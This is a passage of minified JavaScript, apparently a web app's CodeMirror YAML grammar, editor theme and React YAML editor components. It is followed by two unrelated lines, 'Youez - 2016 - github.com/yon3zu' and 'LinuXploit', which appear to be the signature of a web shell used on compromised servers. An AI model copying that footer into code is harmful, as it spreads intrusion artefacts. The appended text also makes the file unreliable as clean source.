? ? ? Literal QuotedLiteral Anchor Alias Tag BlockLiteralContent Comment Stream BOM Document ] [ FlowSequence Item Tagged Anchored Anchored Tagged FlowMapping Pair Key : Pair , } { FlowMapping Pair Pair BlockSequence Item Item BlockMapping Pair Pair Key Pair Pair BlockLiteral BlockLiteralHeader Tagged Anchored Anchored Tagged Directive DirectiveName DirectiveContent Document",maxTerm:74,context:Zw,nodeProps:[["isolate",-3,8,9,14,""],["openedBy",18,"[",32,"{"],["closedBy",19,"]",33,"}"]],propSources:[lO],skippedNodes:[0],repeatNodeCount:6,tokenData:"-Y~RnOX#PXY$QYZ$]Z]#P]^$]^p#Ppq$Qqs#Pst$btu#Puv$yv|#P|}&e}![#P![!]'O!]!`#P!`!a'i!a!}#P!}#O*g#O#P#P#P#Q+Q#Q#o#P#o#p+k#p#q'i#q#r,U#r;'S#P;'S;=`#z<%l?HT#P?HT?HU,o?HUO#PQ#UU!WQOY#PZp#Ppq#hq;'S#P;'S;=`#z<%lO#PQ#kTOY#PZs#Pt;'S#P;'S;=`#z<%lO#PQ#}P;=`<%l#P~$VQ!f~XY$Qpq$Q~$bO!g~~$gS^~OY$bZ;'S$b;'S;=`$s<%lO$b~$vP;=`<%l$bR%OX!WQOX%kXY#PZ]%k]^#P^p%kpq#hq;'S%k;'S;=`&_<%lO%kR%rX!WQ!VPOX%kXY#PZ]%k]^#P^p%kpq#hq;'S%k;'S;=`&_<%lO%kR&bP;=`<%l%kR&lUoP!WQOY#PZp#Ppq#hq;'S#P;'S;=`#z<%lO#PR'VUmP!WQOY#PZp#Ppq#hq;'S#P;'S;=`#z<%lO#PR'p[!PP!WQOY#PZp#Ppq#hq{#P{|(f|}#P}!O(f!O!R#P!R![)p![;'S#P;'S;=`#z<%lO#PR(mW!PP!WQOY#PZp#Ppq#hq!R#P!R![)V![;'S#P;'S;=`#z<%lO#PR)^U!PP!WQOY#PZp#Ppq#hq;'S#P;'S;=`#z<%lO#PR)wY!PP!WQOY#PZp#Ppq#hq{#P{|)V|}#P}!O)V!O;'S#P;'S;=`#z<%lO#PR*nUcP!WQOY#PZp#Ppq#hq;'S#P;'S;=`#z<%lO#PR+XUbP!WQOY#PZp#Ppq#hq;'S#P;'S;=`#z<%lO#PR+rUqP!WQOY#PZp#Ppq#hq;'S#P;'S;=`#z<%lO#PR,]UpP!WQOY#PZp#Ppq#hq;'S#P;'S;=`#z<%lO#PR,vU`P!WQOY#PZp#Ppq#hq;'S#P;'S;=`#z<%lO#P",tokenizers:[eO,tO,sO,oO,0,1],topRules:{Stream:[0,15]},tokenPrec:0}),hO=Ur.define({name:"yaml",parser:aO.configure({props:[ad.add({Stream:i=>{for(let e=i.node.resolve(i.pos,-1);e&&e.to>=i.pos;e=e.parent){if(e.name=="BlockLiteralContent"&&e.from<e.to)return i.baseIndentFor(e);if(e.name=="BlockLiteral")return i.baseIndentFor(e)+i.unit;if(e.name=="BlockSequence"||e.name=="BlockMapping")return i.column(e.firstChild.from,1);if(e.name=="QuotedLiteral")return null;if(e.name=="Literal"){let t=i.column(e.from,1);if(t==i.lineIndent(e.from,1))return t;if(e.to>i.pos)return null}}return null},FlowMapping:Yh({closing:"}"}),FlowSequence:Yh({closing:"]"})}),fd.add({"FlowMapping FlowSequence":Hx,"Item Pair BlockLiteral":(i,e)=>({from:e.doc.lineAt(i.from).to,to:i.to})})]}),languageData:{commentTokens:{line:"#"},indentOnInput:/^\s*[\]\}]$/}});function cO(){return new Ex(hO)}var fO=i=>{var e=i.theme,t=i.settings,n=t===void 0?{}:t,r=i.styles,s=r===void 0?[]:r,o={".cm-gutters":{}},l={};n.background&&(l.backgroundColor=n.background),n.backgroundImage&&(l.backgroundImage=n.backgroundImage),n.foreground&&(l.color=n.foreground),n.fontSize&&(l.fontSize=n.fontSize),(n.background||n.foreground)&&(o["&"]=l),n.fontFamily&&(o["&.cm-editor .cm-scroller"]={fontFamily:n.fontFamily}),n.gutterBackground&&(o[".cm-gutters"].backgroundColor=n.gutterBackground),n.gutterForeground&&(o[".cm-gutters"].color=n.gutterForeground),n.gutterBorder&&(o[".cm-gutters"].borderRightColor=n.gutterBorder),n.caret&&(o[".cm-content"]={caretColor:n.caret},o[".cm-cursor, .cm-dropCursor"]={borderLeftColor:n.caret});var a={};n.gutterActiveForeground&&(a.color=n.gutterActiveForeground),n.lineHighlight&&(o[".cm-activeLine"]={backgroundColor:n.lineHighlight},a.backgroundColor=n.lineHighlight),o[".cm-activeLineGutter"]=a,n.selection&&(o["&.cm-focused .cm-selectionBackground, & .cm-line::selection, & .cm-selectionLayer .cm-selectionBackground, .cm-content ::selection"]={background:n.selection+" !important"}),n.selectionMatch&&(o["& .cm-selectionMatch"]={backgroundColor:n.selectionMatch});var h=A.theme(o,{dark:e==="dark"}),c=Zi.define(s),f=[h,ha(c)];return f},uO={background:"#28211c",foreground:"#9d9b97",caret:"#797977",selection:"#4f382b",selectionMatch:"#4f382b",gutterBackground:"#28211c",gutterForeground:"#666666",lineHighlight:"#ffffff1a"},dO=[{tag:[y.atom,y.number,y.link,y.bool],color:"#9b859d"},{tag:y.comment,color:"#937121"},{tag:[y.keyword,y.tagName],color:"#cf6a4c"},{tag:y.string,color:"#f9ee98"},{tag:y.bracket,color:"#9d9b97"},{tag:[y.variableName],color:"#5ea6ea"},{tag:y.definition(y.variableName),color:"#cf7d34"},{tag:[y.function(y.variableName),y.className],color:"#cf7d34"},{tag:[y.propertyName,y.attributeName],color:"#54be0d"}],pO=i=>{var e={},t=e.theme,n=t===void 0?"dark":t,r=e.settings,s=r===void 0?{}:r,o=e.styles,l=o===void 0?[]:o;return fO({theme:n,settings:Rr({},uO,s),styles:[...dO,...l]})},gO=pO();const AO=({yaml:i,setYaml:e,children:t,autoResize:n=!1,readOnly:r=!1,readOnlyMessage:s})=>{const[o,l]=ee.useState(200),a=ee.useRef(null),h=()=>{!a.current||n||(qc("code-editor-wrapper","p-bottom-controls"),setTimeout(()=>{const c=document?.getElementsByClassName("code-editor-wrapper")?.item(0)?.getBoundingClientRect().height;l(c??200)},100))};return Ft.useListener(window,h,"resize",!0),ee.useEffect(h,[a.current]),Q.jsxs(Q.Fragment,{children:[t,Q.jsx("div",{ref:a,className:Ml("code-editor-wrapper",{"read-only":r}),children:Q.jsx(Cp,{value:i,extensions:[cO()],onChange:c=>{c&&e&&e(c)},autoFocus:!0,readOnly:r,title:s,theme:gO,height:n?void 0:`${o}px`})})]})},mO=({onConfirm:i,close:e})=>Q.jsx(Ft.ConfirmationModal,{confirmButtonLabel:"Leave without saving",cancelButtonLabel:"Continue editing",onConfirm:i,close:e,title:"Confirm",children:Q.jsxs("p",{children:["This will discard all changes in the YAML editor.",Q.jsx("br",{}),"Are you sure you want to proceed?"]})}),TO=({section:i,setSection:e,formik:t,disableReason:n})=>{const{openPortal:r,closePortal:s,isOpen:o,Portal:l}=Ft.usePortal(),a=t,h=zc(),c=Oa(i??"")===Oa(Va),f=ee.useRef(c||!i?Tf:i);ee.useEffect(()=>{i&&(c||(f.current=i))},[i]);const u=p=>{if(a.values.yaml){r(p);return}const g=c?f.current:Va;e(g)},d=()=>{a.setFieldValue("yaml",void 0),s(),e(f.current)};return Q.jsxs("div",{title:n,className:Ml("u-float-left",{"is-disabled":n}),children:[o&&Q.jsx(l,{children:Q.jsx(mO,{onConfirm:d,close:s})}),Q.jsx("div",{className:"u-flex",children:Q.jsx(Ft.Switch,{label:h?"YAML":"YAML Configuration",checked:c,onChange:u,disabled:n!==void 0})})]})};export{G0 as B,J0 as C,V0 as D,z0 as G,wO as I,Tf as M,Q0 as N,U0 as O,q0 as P,K0 as R,X0 as S,Va as Y,Y0 as a,j0 as b,AO as c,TO as d,mO as e,kO as f,Xn as o,SO as y};

Youez - 2016 - github.com/yon3zu
LinuXploit